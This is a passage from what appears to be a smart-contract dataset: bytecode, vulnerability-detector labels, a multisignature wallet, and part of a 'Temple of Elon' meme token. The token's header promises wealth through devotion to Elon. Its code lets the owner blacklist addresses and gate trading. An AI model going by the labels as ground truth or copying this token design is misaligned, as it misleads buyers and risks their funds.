000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b6116ef81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611746336002611c6690919063ffffffff16565b6117a45761175e336002611cdb90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b603281565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461182c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561186657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60008282111561194757fe5b818303905092915050565b60006119618360000183611d0b565b60001c905092915050565b60008082840190508381101561197e57fe5b8091505092915050565b6000611993826111b2565b90506000811115611bd65773f4cd3d3fda8d7fd6c5a500203e38640a70bf957773ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611a2357600080fd5b505af1158015611a37573d6000803e3d6000fd5b505050506040513d6020811015611a4d57600080fd5b8101908080519060200190929190505050611ad0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611b2281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b7a8160015461196c90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611c3d575082848281611c3a57fe5b04145b611c4357fe5b8091505092915050565b600080828481611c5957fe5b0490508091505092915050565b6000611c8e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611d8e565b905092915050565b6000611cbe836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611db1565b905092915050565b6000611cd482600001611e99565b9050919050565b6000611d03836000018373ffffffffffffffffffffffffffffffffffffffff1660001b611eaa565b905092915050565b600081836000018054905011611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611f1b6022913960400191505060405180910390fd5b826000018281548110611d7b57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b60008083600101600084815260200190815260200160002054905060008114611e8d5760006001820390506000600186600001805490500390506000866000018281548110611dfc57fe5b9060005260206000200154905080876000018481548110611e1957fe5b9060005260206000200181905550600183018760010160008381526020019081526020016000208190555086600001805480611e5157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611e93565b60009150505b92915050565b600081600001805490509050919050565b6000611eb68383611d8e565b611f0f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611f14565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212203f490b4a15bc6545b47a1dab79332ffcc333ef365fc5f4094eae3e120d6f47e464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,149 |
0x66e32d375642Ce9c8202CaEA1F6A83b0C3Caf32c
|
pragma solidity 0.4.11;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <<span class="__cf_email__" data-cfemail="a2d1d6c7c4c3cc8cc5c7cdd0c5c7e2c1cdccd1c7ccd1dbd18cccc7d6">[email protected]</span>>
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param owner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011a5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461016c578063173825d91461019b57806320ea8d86146101b95780632f54bf6e146101ce5780633411c81c146101fe57806354741525146102315780637065cb481461025d578063784547a71461027b5780638b51d13f146102a25780639ace38c2146102c7578063a0e67e2b14610384578063a8abe69a146103ef578063b5dc40c31461046a578063b77bf600146104d8578063ba51a6df146104fa578063c01a8c841461050f578063c642747414610524578063d74f8edd14610599578063dc8452cd146105bb578063e20056e6146105dd578063ee22610b14610601575b61016a5b600034111561016757604080513481529051600160a060020a033316917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b5b565b005b341561017457fe5b61017f600435610616565b60408051600160a060020a039092168252519081900360200190f35b34156101a357fe5b61016a600160a060020a0360043516610648565b005b34156101c157fe5b61016a6004356107f9565b005b34156101d657fe5b6101ea600160a060020a03600435166108d6565b604080519115158252519081900360200190f35b341561020657fe5b6101ea600435600160a060020a03602435166108eb565b604080519115158252519081900360200190f35b341561023957fe5b61024b6004351515602435151561090b565b60408051918252519081900360200190f35b341561026557fe5b61016a600160a060020a036004351661097a565b005b341561028357fe5b6101ea600435610ab1565b604080519115158252519081900360200190f35b34156102aa57fe5b61024b600435610b45565b60408051918252519081900360200190f35b34156102cf57fe5b6102da600435610bc4565b60408051600160a060020a03861681526020810185905282151560608201526080918101828152845460026000196101006001841615020190911604928201839052909160a0830190859080156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b50509550505050505060405180910390f35b341561038c57fe5b610394610bf8565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b34156103f757fe5b61039460043560243560443515156064351515610c61565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b341561047257fe5b610394600435610d96565b60408051602080825283518183015283519192839290830191858101910280838382156103dc575b8051825260208311156103dc57601f1990920191602091820191016103bc565b5050509050019250505060405180910390f35b34156104e057fe5b61024b610f1e565b60408051918252519081900360200190f35b341561050257fe5b61016a600435610f24565b005b341561051757fe5b61016a600435610fb4565b005b341561052c57fe5b604080516020600460443581810135601f810184900484028501840190955284845261024b948235600160a060020a03169460248035956064949293919092019181908401838280828437509496506110a295505050505050565b60408051918252519081900360200190f35b34156105a157fe5b61024b6110c2565b60408051918252519081900360200190f35b34156105c357fe5b61024b6110c7565b60408051918252519081900360200190f35b34156105e557fe5b61016a600160a060020a03600435811690602435166110cd565b005b341561060957fe5b61016a600435611289565b005b600380548290811061062457fe5b906000526020600020900160005b915054906101000a9004600160a060020a031681565b600030600160a060020a031633600160a060020a031614151561066b5760006000fd5b600160a060020a038216600090815260026020526040902054829060ff1615156106955760006000fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156107905782600160a060020a03166003838154811015156106df57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156107845760038054600019810190811061072057fe5b906000526020600020900160005b9054906101000a9004600160a060020a031660038381548110151561074f57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a03160217905550610790565b5b6001909101906106b8565b6003805460001901906107a390826114e4565b5060035460045411156107bc576003546107bc90610f24565b5b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff1615156108225760006000fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156108585760006000fd5b600084815260208190526040902060030154849060ff161561087a5760006000fd5b6000858152600160209081526040808320600160a060020a0333168085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561097257838015610938575060008181526020819052604090206003015460ff16155b8061095c575082801561095c575060008181526020819052604090206003015460ff165b5b15610969576001820191505b5b60010161090f565b5b5092915050565b30600160a060020a031633600160a060020a031614151561099b5760006000fd5b600160a060020a038116600090815260026020526040902054819060ff16156109c45760006000fd5b81600160a060020a03811615156109db5760006000fd5b60038054905060010160045460328211806109f557508181115b806109fe575080155b80610a07575081155b15610a125760006000fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610a4a83826114e4565b916000526020600020900160005b8154600160a060020a03808a166101009390930a838102910219909116179091556040519091507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b50505b505b505b50565b600080805b600354811015610b3d5760008481526001602052604081206003805491929184908110610adf57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610b21576001820191505b600454821415610b345760019250610b3d565b5b600101610ab6565b5b5050919050565b6000805b600354811015610bbd5760008381526001602052604081206003805491929184908110610b7257fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610bb4576001820191505b5b600101610b49565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c00611538565b6003805480602002602001604051908101604052809291908181526020018280548015610c5657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c38575b505050505090505b90565b610c69611538565b610c71611538565b60006000600554604051805910610c855750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d1f57858015610ccb575060008181526020819052604090206003015460ff16155b80610cef5750848015610cef575060008181526020819052604090206003015460ff165b5b15610d1657808383815181101515610d0457fe5b60209081029091010152600191909101905b5b600101610ca2565b878703604051805910610d2f5750595b908082528060200260200182016040525b5093508790505b86811015610d8a578281815181101515610d5d57fe5b9060200190602002015184898303815181101515610d7757fe5b602090810290910101525b600101610d47565b5b505050949350505050565b610d9e611538565b610da6611538565b6003546040516000918291805910610dbb5750595b908082528060200260200182016040525b50925060009150600090505b600354811015610ea05760008581526001602052604081206003805491929184908110610e0157fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610e97576003805482908110610e4a57fe5b906000526020600020900160005b9054906101000a9004600160a060020a03168383815181101515610e7857fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610dd8565b81604051805910610eae5750595b908082528060200260200182016040525b509350600090505b81811015610f15578281815181101515610edd57fe5b906020019060200201518482815181101515610ef557fe5b600160a060020a039092166020928302909101909101525b600101610ec7565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f455760006000fd5b600354816032821180610f5757508181115b80610f60575080155b80610f69575081155b15610f745760006000fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff161515610fdd5760006000fd5b6000828152602081905260409020548290600160a060020a031615156110035760006000fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16156110385760006000fd5b6000858152600160208181526040808420600160a060020a0333168086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a36108cc85611289565b5b5b50505b505b5050565b60006110af8484846113f1565b90506110ba81610fb4565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a03161415156110f05760006000fd5b600160a060020a038316600090815260026020526040902054839060ff16151561111a5760006000fd5b600160a060020a038316600090815260026020526040902054839060ff16156111435760006000fd5b600092505b6003548310156111eb5784600160a060020a031660038481548110151561116b57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a031614156111df57836003848154811015156111aa57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a031602179055506111eb565b5b600190920191611148565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25b5b505b505b505050565b600081815260208190526040812060030154829060ff16156112ab5760006000fd5b6112b483610ab1565b156107f2576000838152602081905260409081902060038101805460ff19166001908117909155815481830154935160028085018054959850600160a060020a03909316959492939192839285926000199183161561010002919091019091160480156113625780601f1061133757610100808354040283529160200191611362565b820191906000526020600020905b81548152906001019060200180831161134557829003601f168201915b505091505060006040518083038185876187965a03f192505050156113b15760405183907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26107f2565b60405183907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038201805460ff191690555b5b5b5b505050565b600083600160a060020a038116151561140a5760006000fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261148a92600285019291019061155c565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a25b5b509392505050565b8154818355818115116107f2576000838152602090206107f29181019083016115db565b5b505050565b8154818355818115116107f2576000838152602090206107f29181019083016115db565b5b505050565b60408051602081019091526000815290565b60408051602081019091526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061159d57805160ff19168380011785556115ca565b828001600101855582156115ca579182015b828111156115ca5782518255916020019190600101906115af565b5b506115d79291506115db565b5090565b610c5e91905b808211156115d757600081556001016115e1565b5090565b905600a165627a7a72305820b1eafaafed511c1eb99250322a6b162ea0ab317d6f37313f260e38e5ce176e0d0029
|
{"success": true, "error": null, "results": {}}
| 4,150 |
0xd67f31c79209b375f43239adcae2ec8f1535e7e0
|
/*
https://t.me/templeofelon
Temple of Elon
The difference between gods and mortals is basically equal to the difference between the great Elon and man.
While the great gods of the pantheon were worshiped by priests at rituals in cultic centers,
the great god of the Tesla is worshiped by us on Twitter and cryptoworld.
Ancient mortals used to have no direct contact with their deities while contemporary people can easily receive oracles from the great Elon.
Ancient mortals worshiped personal gods, who were thought to be deities who could intercede on their behalf to ensure health and protection for their families;
while contemporary people worship Elon believing that he could protect us from scammers and earn profit in the crypto world.
All crypto buyers should devoutly praise the words of Elon. May the great Elon assuage the spirit of his followers and crypto holders.
May it soothe their hearts, bring wealth to his people.
https://t.me/templeofelon
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TOE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TEMPLE OF ELON";
string private constant _symbol = "TOE";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 20000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[address(0xdead)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
